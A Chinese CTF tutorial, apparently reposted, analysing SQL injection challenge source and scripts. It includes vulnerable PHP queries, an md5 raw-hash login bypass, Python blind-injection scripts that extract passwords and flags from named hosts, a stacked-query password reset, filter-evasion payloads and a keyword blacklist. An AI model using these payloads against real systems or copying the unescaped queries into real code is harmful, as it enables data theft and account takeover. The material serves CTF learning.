CTF中常見注入題源碼及腳本分析


1.代碼審計發現 這里沒有用escape_string,因此存在注入。

 1 function show($username){
 2   global $conn;
 3   $sql = "select role from `user` where username ='".$username."'";
 4   $res = $conn ->query($sql);
 5   if($res->num_rows>0){
 6   echo "$username is ".$res->fetch_assoc()['role'];
 7   }else{
 8   die("Don't have this user!");
 9   }
10 }

 通過這里注入可以得到pasaword,$usename為被 單引號引起,所以應該首先注意閉合單引號。

pyhton腳本如下:

 1 # --coding:utf-8--    import requests
 2 url="http://117.34.111.15:89/?action=show"
 3 passwd=""
 4 lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
 5 for i in xrange(1,33):
 6     print i
 7     for p in lists:
 8         param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
 9         print requests.post(url,data=param).content
10         if "admin" in requests.post(url,data=param).content:
11             passwd=passwd+p
12             break
13 print passwd

首先可以通過注入得到password長度為32,即我們需要爆破32位長度的密碼。

利用 (-1=x=x=0)=true的邏輯來依次判斷出每一位密碼。

因為有32位,所以外層循環需要32次,對每一次都需要內層循環遍歷所有的數字和字母,當三個等於號為true時,頁面返回中會返回包含“admin”的字符串,此時可以將爆破出的一位密碼位保留。

登陸就是flag 登陸這里的admin判斷直接用admin%c2這個去繞過(mysql客戶端與數據庫的字符轉換trick,當客戶端為utf8,數據庫為latin1的時候,latin1不允許出現漢字,所以將%c2視為無用部分舍去)。

 

 

2.當注入時出現逗號,空格被過濾且關鍵字段被過濾

首先創建一張表作為要被查詢的表作為演示

插入一些數據;

 

 

 我們的目的是查詢出id=4的passwd的值,但是空格逗號被過濾以及passwd字段被過濾,所以首先繞過空格和逗號的過濾,

空格的過濾可以用//,/**/,(),+繞過

逗號,關鍵字段可以用join查詢來實現,以便於實現union聯合查詢。

首先看一下join的效果:

 

 這里的1,2,3,4是我們可以替換的用於顯示的數據位,比如:

我們通過id主鍵來查詢出每一條結果

 為了查出第四條記錄的passwd字段的值,首先構造: 

1 select * from((select 1)a join (select 2)b  join (select 3)c  join (select 4)d)

假設字段三是數據回顯位,則將(select 3)改寫為:

1 (select result.3 from (select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r) union select * from table3 limit 1 offset 3) result)c

則最終語句為:

1 select * from((select 1)a join (select 2)b  join (select result.3 from(select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r)union select * from table3 limit 1 offset 4)result)c join (select 4)d);

 

3.過濾了逗號,延時注入(sleep()函數):

首先無法使用if函數,但是可以用select case函數代替

1 select case when (條件1) 代碼1 else (條件2) 代碼2

即可構造

1 1 -1' select case when (substring(select flag from flag from i for 1))=j) then sleep(6) else 0 end and '1'='1

腳本如下:

 

 

 4.sql in hash

代碼如下:

 1 <?php 
 2 error_reporting(0);
 3 $link = mysql_connect('localhost', 'root', '');
 4 if (!$link) { 
 5   die('Could not connect to MySQL: ' . mysql_error()); 
 6 } 
 7 // 選擇數據庫
 8 $db = mysql_select_db("test", $link);
 9 if(!$db)
10 {
11   echo 'select db error';
12   exit();
13 }
14 // 執行sql
15 $password = "ffifdyop";
16 $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
17 var_dump($sql);
18 $result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
19 $row1 = mysql_fetch_row($result);
20 var_dump($row1);
21 mysql_close($link);
22 ?>

我們在不知道密碼的情況下要完成登陸,切密碼經過hash,因為可以將hash之后的16進制轉為字符串,即

即此時可構成注入 ,查詢語句如下:

1 select * from admin where pass= ''or'6<trash>'

 

 

 5.sql邏輯繞過:

1 select * from *** where username ="" and password="";

即構造select * from *** where username = " " =" " and password =" " =" ";

 

 6.基於時間的延時注入:

1 ' or sleep(10) and ''='

發現存在延時,此時首先測試flag的長度:

' and select((select length(flag) from flag)=32) or '1

 7.基於Mongodb的注入:

利用正則爆破admin賬戶的密碼:

 當匹配每一位字符時,若匹配正確則302跳轉,若匹配錯誤,則無跳轉,則根據是否發生跳轉來判斷每一位字符。

利用(.*)正則表達式去匹配除了被測試的當前字符以外的其他所有字符。

或者利用另一種正則匹配:

 

若匹配當前字符正確,則繼續匹配,由於默認最后一個字符為 } ,則當匹配到 } 時,匹配結束。

8.寬字節盲注:

情況:and、or、mid、substr、union、>、<、空白符、ascii等為敏感詞,

 

 9.重置用戶密碼:

1  select username ,password from user where username='$username'
1 select username ,password from user where username='x';update user set password='123456' where userId=1 #''

 

 10.邏輯符號被過濾時的注入

過濾*,#,/ ,and,or,|,union,空格

此時可以用的payload

①:admin'%(1)%'1

括號中為所使用的判斷條件

例如可以判斷數據庫長度:

admin'%(select length(database())>1)%'1'

判斷數據庫名字

admin'%(ascii(mid(database()) from 1 for 1)=90)%'1'

②:admin'^(1)^'1'

同上,括號中填入要執行的條件

11.過濾or

$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|and|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';

當過濾or的時候,即無法使用information_schema表了來獲取表名,MySQL 5.7 之后的版本,在其自帶的 mysql 庫中,新增了 innodb_table_stats 和 innodb_index_stats 這兩張日志表。如果數據表的引擎是innodb ,則會在這兩張表中記錄表、鍵的信息 。

因此我們使用 mysql.innodb_table_stats 來代替 information_schema.tables 即可獲取表名。

12.left,right函數結合strcmp使用

 

 假設有表如上所示,則可以使用如下過程來進行盲注:

初始化flag=""  #空字符串

假設查出來的第一位為b,那么只需要便利所有可見字符,並且使用strcmp函數與其進行對比即可

 

當遍歷到正確字符的時候,返回值為0,此時就可以將此字符與flag拼接,並且依次截取2-n位flag,與全局的flag進行對比

重復上述過程就可以得到完整的flag,與flag相對的是right函數,right函數是從右邊開始截取字符串,原理與left相同

                         

 

                                           

import requests

dic = list('1234567890abcdefghijklmnopqrstuvwxyz[]<>@!-~?=_()*{}#. /')
ans = ''
for pos in range(1,1000):
    flag = 1
    for c in dic:
        payload = "admin'and(strcmp(right((select * from flag),%d),'%s'0))||'"%(pos,c+ans)
        resp = requests.get("http://kzone.2018.hctf.io/include/common.php")
        if 'Set-Cookie' in resp.headers:
            ans = c+ans
            print(ord(c))
            flag=0
            break
    if flag:
        break
    print("--"+ans+"--")

  這里引用一下現有的腳本進行分析,ans就是全局的flag,通過pos參數來依次截取1-n位flag,因為一般flag長度肯定是小於1000的,對於每一位字符都遍歷一次可打印字符序列,並帶入payload進行查詢,具體的判斷邏輯因題目可以改,直到flag=1此時退出循環,即flag已經提取結束。

12.利用between and 進行盲注

利用between and 進行盲注可以不使用逗號來進行盲注,假設有下表所示數據

還是依次截取1-n位字符來與正確的flag進行對比,當正確字符位於字符范圍內時,則返回為1,不在字符范圍內時,則返回為0,因此當返回為1時,下界字符就是正確的字符。

import requests

url = 'http://kzone.2018.hctf.io/admin/'
key = ''
strings = [chr(i) for i in range(32, 127)]
while True:
    for i in reversed(strings):
        payload = "admin' and (select * from F1444g) between '%s' and '%s' and '1" % (key + i, chr(126))
        r = requests.get(url, headers=headers)
        if 'Management Index' in r.text:
            key += i
            break
        else:
            print(i)
    print(key)
 

借用上面的代碼來說明流程,只需要逆序減小下界,當下界滿足邏輯判斷條件時即進行flag拼接,其中key為全局的flag。

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM